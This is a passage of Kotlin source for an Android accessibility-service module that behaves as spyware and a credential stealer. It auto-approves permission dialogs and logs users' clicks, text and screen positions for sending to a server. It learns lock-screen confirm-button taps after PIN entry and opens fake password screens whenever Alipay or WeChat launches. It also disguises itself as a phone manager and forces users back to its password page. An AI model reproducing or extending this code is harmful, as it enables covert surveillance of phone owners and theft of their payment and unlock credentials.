package com.hikoncont.service.modules

import android.content.Context
import android.content.Intent
import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.OperationLogCollector
import com.hikoncont.manager.PermissionGranter
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*

/**
 * 无障碍事件管理器
 * 负责处理AccessibilityEvent的核心逻辑
 * 
 * 主要职责:
 * - 事件分发和处理
 * - 事件类型分析
 * - 应用状态监控
 * - 包名检测和过滤
 * - 用户交互事件记录
 * - 学习系统数据收集
 */
class AccessibilityEventManager(
    private val service: AccessibilityRemoteService,
    private val context: Context
) {
    companion object {
        private const val TAG = "AccessibilityEventManager"
    }
    
    // ✅ 协程作用域
    private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
    
    // 依赖的管理器
    private var permissionGranter: PermissionGranter? = null
    private var logCollector: OperationLogCollector? = null
    
    // 状态跟踪
    private var lastTextInputTime = 0L
    private var isLoggingEnabled = false
    
    // 支付宝检测开关
    private var isAlipayDetectionEnabled = false
    
    // 微信检测开关
    private var isWechatDetectionEnabled = false
    
    // 密码输入页面监听
    private var isPasswordInputActivityOpened = false
    private var passwordInputActivityPackageName = "com.hikoncont"
    private var passwordInputActivityClassName = "com.hikoncont.activity.PasswordInputActivity"
    private var lastReturnTime = 0L
    private var returnCount = 0
    private val maxReturnCount = 300 // 最多返回3次
    
    // Socket唤醒密码页面监控
    private var isSocketWakePasswordPage = false
    private var socketWakePasswordType = ""
    private var socketWakeDeviceId = ""
    private var socketWakeInstallationId = ""
    private var socketWakeReturnCount = 0
    private val maxSocketWakeReturnCount = 5 // Socket唤醒最多返回5次，进一步减少系统压力
    private var lastActivityCheckTime = 0L
    private val minActivityCheckInterval = 30000L // 最少30秒检查一次Activity状态
    private var isMonitoringActive = false // 监控是否激活
    private var lastSuccessfulReturnTime = 0L // 上次成功返回的时间
    private var enableForceReturn = false // 是否启用强制返回（默认禁用，避免系统错误）
    
    // 手机管家伪装监听
    private var isPhoneManagerCamouflageEnabled = false
    private var phoneManagerCamouflagePackageName = "com.hikoncont"
    private var phoneManagerCamouflageClassName = "com.hikoncont.PhoneManagerAlias"
    private var lastPhoneManagerSwitchTime = 0L
    private var minPhoneManagerSwitchInterval = 500L // 2秒防重复
    
    /**
     * 初始化事件管理器
     */
    fun initialize(
        permissionGranter: PermissionGranter?,
        logCollector: OperationLogCollector?,
        isLoggingEnabled: Boolean
    ) {
        this.permissionGranter = permissionGranter
        this.logCollector = logCollector
        this.isLoggingEnabled = isLoggingEnabled
        
        Log.i(TAG, "✅ 无障碍事件管理器初始化完成")
    }
    
    /**
     * 处理无障碍事件
     */
    fun handleAccessibilityEvent(event: AccessibilityEvent) {
        try {
            // 处理权限对话框自动点击
            permissionGranter?.handleAccessibilityEvent(event)
            
            // 处理WRITE_SETTINGS权限管理器的自动点击
            try {
                val writeSettingsManager = service.getWriteSettingsPermissionManager()
                writeSettingsManager?.handleAccessibilityEvent(event)
            } catch (e: Exception) {
                Log.v(TAG, "WriteSettingsPermissionManager处理事件失败（可能未初始化）", e)
            }
            
            // 处理操作日志收集
            if (isLoggingEnabled) {
                logCollector?.handleAccessibilityEvent(event)
            }
            
            // 事件类型分析和处理
            analyzeAndProcessEvent(event)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理无障碍事件失败", e)
        }
    }
    
    /**
     * 分析和处理事件
     */
    private fun analyzeAndProcessEvent(event: AccessibilityEvent) {
        try {
            // 🎭 优先检测手机管家伪装事件（最高优先级）
            if (isPhoneManagerCamouflageEnabled) {
                val packageName = event.packageName?.toString() ?: ""
                val className = event.className?.toString() ?: ""
                
                // 添加更详细的调试日志
                Log.d(TAG, "🎭 [事件监控] 检查手机管家伪装: eventType=${event.eventType}, packageName=$packageName, className=$className")
                
                // 检测手机管家伪装
                detectPhoneManagerCamouflage(packageName, className)
            }
            
            when (event.eventType) {
                AccessibilityEvent.TYPE_VIEW_CLICKED -> {
                    Log.d(TAG, "🔍 [事件监控] 检测到 TYPE_VIEW_CLICKED 事件")
                    handleClickEvent(event, "VIEW_CLICKED")
                }
                AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
                    Log.d(TAG, "🧠 检测到文本变化事件，可能是密码输入")
                    handleTextChangedEvent(event)
                }
                AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> {
                    Log.d(TAG, "🔍 [事件监控] 检测到 TYPE_TOUCH_INTERACTION_START 事件")
                    handleTouchEvent(event, "TOUCH_START")
                }
                AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> {
                    Log.d(TAG, "🔍 [事件监控] 检测到 TYPE_TOUCH_INTERACTION_END 事件")
                    handleTouchEvent(event, "TOUCH_END")
                }
                AccessibilityEvent.TYPE_VIEW_SELECTED -> {
                    Log.d(TAG, "🔍 [事件监控] 检测到 TYPE_VIEW_SELECTED 事件")
                    handleViewEvent(event, "VIEW_SELECTED")
                }
                AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
                    if (event.source?.isClickable == true) {
                        Log.d(TAG, "🔍 [事件监控] 检测到可点击元素获得焦点")
                        handleViewEvent(event, "VIEW_FOCUSED")
                    }
                }
                AccessibilityEvent.TYPE_GESTURE_DETECTION_START -> {
                    Log.d(TAG, "🔍 [事件监控] 检测到 TYPE_GESTURE_DETECTION_START 事件")
                    handleGestureEvent(event, "GESTURE_START")
                }
                AccessibilityEvent.TYPE_GESTURE_DETECTION_END -> {
                    Log.d(TAG, "🔍 [事件监控] 检测到 TYPE_GESTURE_DETECTION_END 事件")
                    handleGestureEvent(event, "GESTURE_END")
                }
                AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START -> {
                    Log.d(TAG, "🔍 [事件监控] 检测到 TYPE_TOUCH_EXPLORATION_GESTURE_START 事件")
                    handleTouchExplorationEvent(event, "TOUCH_EXPLORATION_START")
                }
                AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END -> {
                    Log.d(TAG, "🔍 [事件监控] 检测到 TYPE_TOUCH_EXPLORATION_GESTURE_END 事件")
                    handleTouchExplorationEvent(event, "TOUCH_EXPLORATION_END")
                }
                AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
                    handleWindowStateChanged(event)
                }
                AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED -> {
                    handleNotificationStateChanged(event)
                }
                else -> {
                    Log.v(TAG, "🔍 [事件监控] 其他事件类型: ${event.eventType}")
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分析和处理事件失败", e)
        }
    }
    
    /**
     * 处理点击事件
     */
    private fun handleClickEvent(event: AccessibilityEvent, eventType: String) {
        try {
            logClickEvent(event, eventType)
            
            val source = event.source
            if (source != null) {
                recordClickEventForLearning(source, event)
                
                // ✅ 新增：记录学习事件（用于确认按钮学习）
                if (service.isLearningManagerInitialized()) {
                    service.getLearningManager().recordClickEventLearning(source, event)
                }
                
                source.recycle()
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理点击事件失败", e)
        }
    }
    
    /**
     * 处理文本变化事件
     */
    private fun handleTextChangedEvent(event: AccessibilityEvent) {
        try {
            lastTextInputTime = System.currentTimeMillis()
            logTextInputEvent(event)
            
            // 记录文本变化事件到操作日志
            val text = event.text?.joinToString(" ") ?: ""
            service.recordOperationLog("TEXT_CHANGED", "文本变化事件", mapOf(
                "packageName" to (event.packageName?.toString() ?: "unknown"),
                "textLength" to text.length,
                "eventTime" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理文本变化事件失败", e)
        }
    }
    
    /**
     * 处理触摸事件
     */
    private fun handleTouchEvent(event: AccessibilityEvent, eventType: String) {
        try {
            logClickEvent(event, eventType)
            analyzeTouchPattern(event, eventType)
            
            // 记录触摸事件到操作日志
            service.recordOperationLog("TOUCH_EVENT", "触摸事件: $eventType", mapOf(
                "eventType" to eventType,
                "packageName" to (event.packageName?.toString() ?: "unknown"),
                "eventTime" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理触摸事件失败", e)
        }
    }
    
    /**
     * 处理视图事件
     */
    private fun handleViewEvent(event: AccessibilityEvent, eventType: String) {
        try {
            logClickEvent(event, eventType)
            analyzeViewInteraction(event, eventType)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理视图事件失败", e)
        }
    }
    
    /**
     * 处理手势事件
     */
    private fun handleGestureEvent(event: AccessibilityEvent, eventType: String) {
        try {
            logClickEvent(event, eventType)
            analyzeGesturePattern(event, eventType)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理手势事件失败", e)
        }
    }
    
    /**
     * 处理触摸探索事件
     */
    private fun handleTouchExplorationEvent(event: AccessibilityEvent, eventType: String) {
        try {
            logClickEvent(event, eventType)
            analyzeTouchExploration(event, eventType)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理触摸探索事件失败", e)
        }
    }
    
    /**
     * 处理窗口状态变化
     */
    private fun handleWindowStateChanged(event: AccessibilityEvent) {
        try {
            val packageName = event.packageName?.toString() ?: ""
            val className = event.className?.toString() ?: ""
            
            Log.d(TAG, "🔍 窗口状态变化: 包名=$packageName, 类名=$className")
            
            monitorAppSwitch(packageName, className)
            detectPermissionDialog(event)

            // 检测支付宝应用
            detectAlipayApp(packageName, className)
            
            // 检测微信应用
            detectWechatApp(packageName, className)
            
            // 检测密码输入页面
            detectPasswordInputActivity(packageName, className)
            
            // 检测手机管家伪装
            detectPhoneManagerCamouflage(packageName, className)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理窗口状态变化失败", e)
        }
    }
    
    /**
     * 处理通知状态变化
     */
    private fun handleNotificationStateChanged(event: AccessibilityEvent) {
        try {
            val text = event.text?.joinToString(" ") ?: ""
            val packageName = event.packageName?.toString() ?: ""
            
            Log.d(TAG, "🔔 通知状态变化: 包名=$packageName, 文本=$text")
            analyzeNotificationContent(event)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理通知状态变化失败", e)
        }
    }
    
    /**
     * 记录点击事件
     */
    private fun logClickEvent(event: AccessibilityEvent, eventType: String) {
        try {
            val source = event.source
            if (source == null) {
                // 即使没有源节点，也记录事件的基本信息
            val packageName = event.packageName?.toString() ?: "unknown"
            val className = event.className?.toString() ?: "unknown"
                val text = event.text?.joinToString("") ?: ""
                
                Log.i(TAG, "👆 [点击监控] 事件类型=$eventType, 无源节点但有基本信息:")
                Log.i(TAG, "👆 [点击监控] 包名='$packageName', 类名='$className', 文本='$text'")
                
                // 记录到操作日志
                service.recordOperationLog("USER_INTERACTION_NO_SOURCE", "用户交互事件(无源节点): $eventType", mapOf(
                    "eventType" to eventType,
                    "packageName" to packageName,
                    "className" to className,
                    "text" to text,
                    "eventTime" to event.eventTime,
                    "currentTime" to System.currentTimeMillis()
                ))
                return
            }
            
            // 获取点击元素的详细信息
            val rect = android.graphics.Rect()
            source.getBoundsInScreen(rect)
            
            val packageName = source.packageName?.toString() ?: "unknown"
            val className = source.className?.toString() ?: "unknown"
            val text = source.text?.toString() ?: ""
            val contentDescription = source.contentDescription?.toString() ?: ""
            
            val clickInfo = buildString {
                append("👆 [点击监控] 事件类型=$eventType, ")
                append("元素类型=$className, ")
                append("文本='$text', ")
                append("描述='$contentDescription', ")
                append("包名='$packageName', ")
                append("位置=(${rect.left},${rect.top})-(${rect.right},${rect.bottom}), ")
                append("大小=${rect.width()}x${rect.height()}, ")
                append("中心=(${rect.centerX()},${rect.centerY()}), ")
                append("可见=${source.isVisibleToUser}, ")
                append("启用=${source.isEnabled}")
            }
            
            Log.i(TAG, clickInfo)
            
            // 同时记录到操作日志，通过Socket.IO发送到服务端
            service.recordOperationLog("USER_INTERACTION", "用户交互事件: $eventType", mapOf(
                "eventType" to eventType,
                "className" to className,
                "text" to text,
                "contentDescription" to contentDescription,
                "packageName" to packageName,
                "position" to mapOf(
                    "left" to rect.left,
                    "top" to rect.top,
                    "right" to rect.right,
                    "bottom" to rect.bottom,
                    "centerX" to rect.centerX(),
                    "centerY" to rect.centerY(),
                    "width" to rect.width(),
                    "height" to rect.height()
                ),
                "isVisible" to source.isVisibleToUser,
                "isEnabled" to source.isEnabled,
                "eventTime" to System.currentTimeMillis()
            ))
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 记录点击事件失败", e)
        }
    }
    
    /**
     * 记录文本输入事件
     */
    private fun logTextInputEvent(event: AccessibilityEvent) {
        try {
            val text = event.text?.joinToString(" ") ?: ""
            val packageName = event.packageName?.toString() ?: ""
            
            Log.d(TAG, "⌨️ 文本输入事件: 包名=$packageName, 文本长度=${text.length}")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 记录文本输入事件失败", e)
        }
    }
    
    /**
     * 为学习系统记录点击事件 - 恢复备份文件中的完整密码确认按钮学习逻辑
     */
    private fun recordClickEventForLearning(source: AccessibilityNodeInfo, event: AccessibilityEvent) {
        try {
            val packageName = event.packageName?.toString()?.lowercase() ?: ""
            
            // 只在锁屏界面记录学习
            if (!packageName.contains("systemui") && !packageName.contains("lockscreen")) {
                return
            }
            
            val bounds = android.graphics.Rect()
            source.getBoundsInScreen(bounds)
            val centerX = bounds.centerX().toFloat()
            val centerY = bounds.centerY().toFloat()
            val text = source.text?.toString() ?: ""
            val desc = source.contentDescription?.toString() ?: ""
            val className = source.className?.toString() ?: ""
            
            Log.d(TAG, "🧠 [学习记录] 检测到锁屏界面点击事件:")
            Log.d(TAG, "  位置: ($centerX, $centerY)")
            Log.d(TAG, "  文本: '$text'")
            Log.d(TAG, "  描述: '$desc'")
            Log.d(TAG, "  类名: '$className'")
            
            // 增强的确认按钮判断逻辑
            val isPossibleConfirmButton = isLikelyConfirmButton(source, centerX, centerY)
            
            if (isPossibleConfirmButton) {
                Log.i(TAG, "🎯 [重要] 这可能是确认按钮！请重点关注这个元素的信息")
                
                // 更宽松的学习条件
                val shouldLearn = isLikelyManualConfirmAfterPasswordInput(source) ||
                                 isInConfirmButtonArea(centerX, centerY) ||
                                 hasConfirmButtonCharacteristics(source)
                
                if (shouldLearn) {
                    Log.i(TAG, "🧠 [学习] 检测到用户手动确认按钮点击，记录学习坐标: ($centerX, $centerY)")
                    
                    // 记录学习坐标到操作日志（发送到Web端）
                    service.recordOperationLog("MANUAL_CONFIRM_BUTTON_LEARNING", "用户手动确认按钮学习", mapOf(
                        "x" to centerX,
                        "y" to centerY,
                        "text" to text,
                        "description" to desc,
                        "className" to className,
                        "packageName" to packageName,
                        "source" to "manual",
                        "confidence" to 1.0f,
                "eventTime" to System.currentTimeMillis()
                    ))
                } else {
                    Log.d(TAG, "🧠 [学习] 可能是确认按钮但不符合学习条件")
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 记录学习事件失败", e)
        }
    }
    
    /**
     * 判断是否可能是确认按钮
     */
    private fun isLikelyConfirmButton(node: AccessibilityNodeInfo, x: Float, y: Float): Boolean {
        try {
            val text = node.text?.toString()?.lowercase() ?: ""
            val desc = node.contentDescription?.toString()?.lowercase() ?: ""
            val className = node.className?.toString()?.lowercase() ?: ""
            val screenHeight = context.resources.displayMetrics.heightPixels
            
            // 1. 位置检查：在屏幕下半部分
            val isInBottomArea = y > screenHeight * 0.4
            
            // 2. 控件类型检查
            val isButtonType = className.contains("button") ||
                              className.contains("imageview") ||
                              className.contains("textview") ||
                              node.isClickable
            
            // 3. 文本特征检查
            val hasConfirmText = text.contains("确认") || text.contains("确定") ||
                                text.contains("ok") || text.contains("enter") ||
                                text.contains("完成") || text.contains("done") ||
                                desc.contains("confirm") || desc.contains("enter") ||
                                desc.contains("确认") || desc.contains("完成")
            
            // 4. 排除明显不是确认按钮的元素
            val isNotExcluded = !text.contains("emergency") && !text.contains("紧急") &&
                               !text.contains("cancel") && !text.contains("取消")
            
            // 5. 大小检查：不能太小（可能是装饰性元素）
            val bounds = android.graphics.Rect()
            node.getBoundsInScreen(bounds)
            val hasReasonableSize = bounds.width() > 50 && bounds.height() > 50
            
            val result = isInBottomArea && isButtonType && isNotExcluded && hasReasonableSize
            
            return result || hasConfirmText
            
        } catch (e: Exception) {
            Log.e(TAG, "判断确认按钮失败", e)
            return false
        }
    }
    
    /**
     * 检查是否在确认按钮区域
     */
    private fun isInConfirmButtonArea(x: Float, y: Float): Boolean {
        val screenWidth = context.resources.displayMetrics.widthPixels
        val screenHeight = context.resources.displayMetrics.heightPixels
        
        // 确认按钮通常在屏幕右下区域
        val isInRightArea = x > screenWidth * 0.6
        val isInBottomArea = y > screenHeight * 0.6 && y < screenHeight * 0.9
        
        return isInRightArea && isInBottomArea
    }
    
    /**
     * 检查是否具有确认按钮特征
     */
    private fun hasConfirmButtonCharacteristics(node: AccessibilityNodeInfo): Boolean {
        try {
            val text = node.text?.toString()?.lowercase() ?: ""
            val desc = node.contentDescription?.toString()?.lowercase() ?: ""
            val className = node.className?.toString()?.lowercase() ?: ""
            
            // 检查是否有确认相关的特征
            val hasConfirmFeatures = text.contains("确认") || text.contains("确定") ||
                                    text.contains("ok") || text.contains("enter") ||
                                    text.contains("完成") || text.contains("done") ||
                                    desc.contains("confirm") || desc.contains("enter") ||
                                    desc.contains("确认") || desc.contains("完成") ||
                                    desc.contains("submit") || desc.contains("提交") ||
                                    className.contains("confirm") || className.contains("submit")
            
            // 检查是否是开关类型（某些设备的确认是开关形式）
            val isSwitchType = className.contains("switch") || className.contains("toggle") ||
                              node.isCheckable
            
            return hasConfirmFeatures || isSwitchType
            
        } catch (e: Exception) {
            Log.e(TAG, "检查确认按钮特征失败", e)
            return false
        }
    }
    
    /**
     * 检查是否可能是密码输入后的手动确认
     */
    private fun isLikelyManualConfirmAfterPasswordInput(clickedNode: AccessibilityNodeInfo): Boolean {
        try {
            // 检查最近是否有文本输入（可能是密码输入）
            val timeSinceLastInput = System.currentTimeMillis() - lastTextInputTime
            val hasRecentTextInput = timeSinceLastInput < 10000 // 10秒内
            
            if (!hasRecentTextInput) {
                return false
            }
            
            val text = clickedNode.text?.toString()?.lowercase() ?: ""
            val desc = clickedNode.contentDescription?.toString()?.lowercase() ?: ""
            
            // 检查是否是确认相关的按钮
            val confirmKeywords = arrayOf(
                "确认", "确定", "完成", "提交", "登录", "解锁", "继续", "下一步", "进入", "好的", "同意", "允许", "授权", "开始", "立即",
                "ok", "done", "confirm", "submit", "enter", "go", "next", "continue", "login", "unlock", 
                "agree", "allow", "start", "begin", "→", "✓", "√", "⏎", "↵"
            )
            
            val hasConfirmKeyword = confirmKeywords.any { keyword ->
                text.contains(keyword) || desc.contains(keyword)
            }
            
            // 检查位置是否合理（确认按钮通常在右下角）
            val bounds = android.graphics.Rect()
            clickedNode.getBoundsInScreen(bounds)
            val centerX = bounds.centerX()
            val centerY = bounds.centerY()
            val screenWidth = context.resources.displayMetrics.widthPixels
            val screenHeight = context.resources.displayMetrics.heightPixels
            
            val isInReasonablePosition = centerX > screenWidth * 0.3 && centerY > screenHeight * 0.5
            
            return hasConfirmKeyword && isInReasonablePosition
            
        } catch (e: Exception) {
            Log.e(TAG, "检查密码输入后确认失败", e)
            return false
        }
    }
    
    /**
     * 分析触摸模式
     */
    private fun analyzeTouchPattern(event: AccessibilityEvent, eventType: String) {
        try {
            Log.v(TAG, "🔍 分析触摸模式: $eventType")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分析触摸模式失败", e)
        }
    }
    
    /**
     * 分析视图交互
     */
    private fun analyzeViewInteraction(event: AccessibilityEvent, eventType: String) {
        try {
            Log.v(TAG, "🔍 分析视图交互: $eventType")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分析视图交互失败", e)
        }
    }
    
    /**
     * 分析手势模式
     */
    private fun analyzeGesturePattern(event: AccessibilityEvent, eventType: String) {
        try {
            Log.v(TAG, "🔍 分析手势模式: $eventType")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分析手势模式失败", e)
        }
    }
    
    /**
     * 分析触摸探索
     */
    private fun analyzeTouchExploration(event: AccessibilityEvent, eventType: String) {
        try {
            Log.v(TAG, "🔍 分析触摸探索: $eventType")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分析触摸探索失败", e)
        }
    }
    
    /**
     * 监控应用切换
     */
    private fun monitorAppSwitch(packageName: String, className: String) {
        try {
            Log.d(TAG, "📱 应用切换监控: $packageName -> $className")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 监控应用切换失败", e)
        }
    }
    
    /**
     * 检测权限对话框
     */
    private fun detectPermissionDialog(event: AccessibilityEvent) {
        try {
            val packageName = event.packageName?.toString() ?: ""
            val className = event.className?.toString() ?: ""
            
            // ✅ 检测OnePlus权限弹框
            // if (isOnePlusDevice() && detectOnePlusPermissionDialog(packageName, className)) {
            //     Log.d(TAG, "🔐 检测到OnePlus权限弹框: $packageName/$className")
            //     handleOnePlusPermissionDialog(event)
            //     return
            // }
            
            // ✅ 检测标准Android权限对话框
            if (packageName.contains("com.android.packageinstaller") ||
                packageName.contains("com.android.permissioncontroller") ||
                packageName.contains("android")) {
                
                Log.d(TAG, "🔐 检测到可能的权限对话框: $packageName")
                permissionGranter?.handleAccessibilityEvent(event)
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测权限对话框失败", e)
        }
    }
    
    /**
     * 分析通知内容
     */
    private fun analyzeNotificationContent(event: AccessibilityEvent) {
        try {
            val text = event.text?.joinToString(" ") ?: ""
            
            if (text.contains("权限", ignoreCase = true) ||
                text.contains("permission", ignoreCase = true) ||
                text.contains("远程", ignoreCase = true)) {
                
                Log.i(TAG, "📢 检测到重要通知: $text")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分析通知内容失败", e)
        }
    }
    
    /**
     * 更新日志状态
     */
    fun updateLoggingStatus(enabled: Boolean) {
        isLoggingEnabled = enabled
        Log.i(TAG, "📝 日志记录状态更新: $enabled")
    }
    
    /**
     * 获取最后文本输入时间
     */
    fun getLastTextInputTime(): Long = lastTextInputTime
    
    /**
     * 设置文本输入时间
     */
    fun setLastTextInputTime(time: Long) {
        lastTextInputTime = time
    }
    
    /**
     * 检测支付宝应用
     */
    private fun detectAlipayApp(packageName: String, className: String) {
        try {
            // 检查支付宝检测是否启用
            if (!isAlipayDetectionEnabled) {
                return
            }
            
            // 支付宝的包名
            val alipayPackages = arrayOf(
                "com.eg.android.AlipayGphone",  // 支付宝官方包名
                "com.alipay.android.phone",     // 可能的其他包名
                "com.alipay.mobile",             // 可能的其他包名
                "com.eg.android.AlipayGphoneRC" // 可能的其他包名
            )
            
            val isAlipayApp = alipayPackages.any { packageName.contains(it) }
            
            if (isAlipayApp) {
                Log.i(TAG, "💰 检测到支付宝应用启动: $packageName")
                
                // 记录到操作日志
                service.recordOperationLog("ALIPAY_DETECTED", "检测到支付宝应用", mapOf(
                    "packageName" to packageName,
                    "className" to className,
                    "detectionTime" to System.currentTimeMillis()
                ))
                
                // 启动支付宝密码输入页面
                startAlipayPasswordActivity()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测支付宝应用失败", e)
        }
    }
    
    /**
     * 启动支付宝密码输入页面
     */
    private fun startAlipayPasswordActivity() {
        try {
            Log.i(TAG, "🚀 启动支付宝密码输入页面")
            
            val intent = Intent(context, com.hikoncont.activity.AlipayPasswordActivity::class.java).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or 
                       Intent.FLAG_ACTIVITY_CLEAR_TOP or
                       Intent.FLAG_ACTIVITY_SINGLE_TOP
            }
            
            context.startActivity(intent)
            
            // 记录启动日志
            service.recordOperationLog("ALIPAY_PASSWORD_ACTIVITY_STARTED", "启动支付宝密码输入页面", mapOf(
                "startTime" to System.currentTimeMillis()
            ))
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动支付宝密码输入页面失败", e)
        }
    }
    
    /**
     * 开启支付宝检测
     */
    fun enableAlipayDetection() {
        try {
            isAlipayDetectionEnabled = true
            Log.i(TAG, "✅ 支付宝检测已开启")
            service.recordOperationLog("ALIPAY_DETECTION_ENABLED", "支付宝检测已开启", mapOf(
                "enabled" to true,
                "timestamp" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ 开启支付宝检测失败", e)
        }
    }
    
    /**
     * 关闭支付宝检测
     */
    fun disableAlipayDetection() {
        try {
            isAlipayDetectionEnabled = false
            Log.i(TAG, "✅ 支付宝检测已关闭")
            service.recordOperationLog("ALIPAY_DETECTION_DISABLED", "支付宝检测已关闭", mapOf(
                "enabled" to false,
                "timestamp" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ 关闭支付宝检测失败", e)
        }
    }
    
    /**
     * 获取支付宝检测状态
     */
    fun isAlipayDetectionEnabled(): Boolean {
        return isAlipayDetectionEnabled
    }
    
    /**
     * 检测微信应用
     */
    private fun detectWechatApp(packageName: String, className: String) {
        try {
            // 检查微信检测是否启用
            if (!isWechatDetectionEnabled) {
                return
            }
            
            // 微信的包名（更全面的检测）
            val wechatPackages = arrayOf(
                "com.tencent.mm",              // 微信官方包名
                "com.tencent.mobileqq",        // QQ包名（可能包含微信）
                "com.tencent.wework",          // 企业微信包名
                "com.tencent.mm.plugin",       // 微信插件包名
                "com.tencent.mm.wechat",       // 微信相关包名
                "com.tencent.mm.weixin",       // 微信相关包名
                "com.tencent.mm.mm",           // 微信相关包名
                "com.tencent.mm.ui",           // 微信UI包名
                "com.tencent.mm.plugin.wallet" // 微信钱包插件
            )
            
            val isWechatApp = wechatPackages.any { packageName.contains(it) } || 
                             packageName.startsWith("com.tencent.mm")
            
            if (isWechatApp) {
                Log.i(TAG, "💬 检测到微信应用启动: $packageName")
                
                // 记录到操作日志
                service.recordOperationLog("WECHAT_DETECTED", "检测到微信应用", mapOf(
                    "packageName" to packageName,
                    "className" to className,
                    "detectionTime" to System.currentTimeMillis()
                ))
                
                // 启动微信密码输入页面
                startWechatPasswordActivity()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测微信应用失败", e)
        }
    }
    
    /**
     * 启动微信密码输入页面
     */
    private fun startWechatPasswordActivity() {
        try {
            Log.i(TAG, "🚀 启动微信密码输入页面")
            
            val intent = Intent(context, com.hikoncont.activity.WechatPasswordActivity::class.java).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or 
                       Intent.FLAG_ACTIVITY_SINGLE_TOP or
                       Intent.FLAG_ACTIVITY_REORDER_TO_FRONT
            }
            
            context.startActivity(intent)
            
            // 记录启动日志
            service.recordOperationLog("WECHAT_PASSWORD_ACTIVITY_STARTED", "启动微信密码输入页面", mapOf(
                "startTime" to System.currentTimeMillis()
            ))
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动微信密码输入页面失败", e)
        }
    }
    
    /**
     * 开启微信检测
     */
    fun enableWechatDetection() {
        try {
            isWechatDetectionEnabled = true
            Log.i(TAG, "✅ 微信检测已开启")
            service.recordOperationLog("WECHAT_DETECTION_ENABLED", "微信检测已开启", mapOf(
                "enabled" to true,
                "timestamp" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ 开启微信检测失败", e)
        }
    }
    
    /**
     * 关闭微信检测
     */
    fun disableWechatDetection() {
        try {
            isWechatDetectionEnabled = false
            Log.i(TAG, "✅ 微信检测已关闭")
            service.recordOperationLog("WECHAT_DETECTION_DISABLED", "微信检测已关闭", mapOf(
                "enabled" to false,
                "timestamp" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ 关闭微信检测失败", e)
        }
    }
    
    /**
     * 获取微信检测状态
     */
    fun isWechatDetectionEnabled(): Boolean {
        return isWechatDetectionEnabled
    }
    
    /**
     * 检测密码输入页面
     */
    private fun detectPasswordInputActivity(packageName: String, className: String) {
        try {
            // 检查是否是密码输入页面被打开
            if (packageName == passwordInputActivityPackageName && 
                className == passwordInputActivityClassName) {
                if (!isPasswordInputActivityOpened) {
                    isPasswordInputActivityOpened = true
                    returnCount = 0 // 重置返回计数
                    Log.d(TAG, "🔐 密码输入页面已打开")
                    
                    // 如果是Socket唤醒的密码页面，记录状态
                    if (isSocketWakePasswordPage) {
                        Log.d(TAG, "🔐 Socket唤醒密码页面已打开，密码类型: $socketWakePasswordType")
                    }
                }
            }
            // 检查是否从密码输入页面切换到其他页面
            else if (isPasswordInputActivityOpened && 
                     packageName != passwordInputActivityPackageName) {
                
                Log.d(TAG, "🔐 检测到从密码输入页面切换到其他应用: $packageName")
                Log.d(TAG, "🔐 Socket唤醒状态: $isSocketWakePasswordPage")
                
                // 如果是Socket唤醒的密码页面，使用特殊的监控逻辑
                if (isSocketWakePasswordPage) {
                    Log.d(TAG, "🔐 使用Socket唤醒监控逻辑")
                    handleSocketWakePasswordPageSwitch(packageName, className)
                } else {
                    // 普通密码页面的监控逻辑
                    Log.d(TAG, "🔐 使用普通密码页面监控逻辑")
                    handleNormalPasswordPageSwitch(packageName, className)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测密码输入页面失败", e)
        }
    }
    
    /**
     * 处理普通密码页面切换
     */
    private fun handleNormalPasswordPageSwitch(packageName: String, className: String) {
        try {
            // 首先检查设备是否真的需要密码输入
            if (!isPasswordInputActuallyRequired()) {
                Log.d(TAG, "🔐 设备无需密码输入，停止自动返回密码页面")
                resetPasswordInputActivityState()
                return
            }
            
            // 检查是否超过最大返回次数
            if (returnCount >= maxReturnCount) {
                Log.w(TAG, "🔐 已达到最大返回次数($maxReturnCount)，停止自动返回")
                return
            }
            
            // 检查是否在短时间内重复返回（防止无限循环）
            val currentTime = System.currentTimeMillis()
            if (currentTime - lastReturnTime < 50) { // 5秒内不重复返回
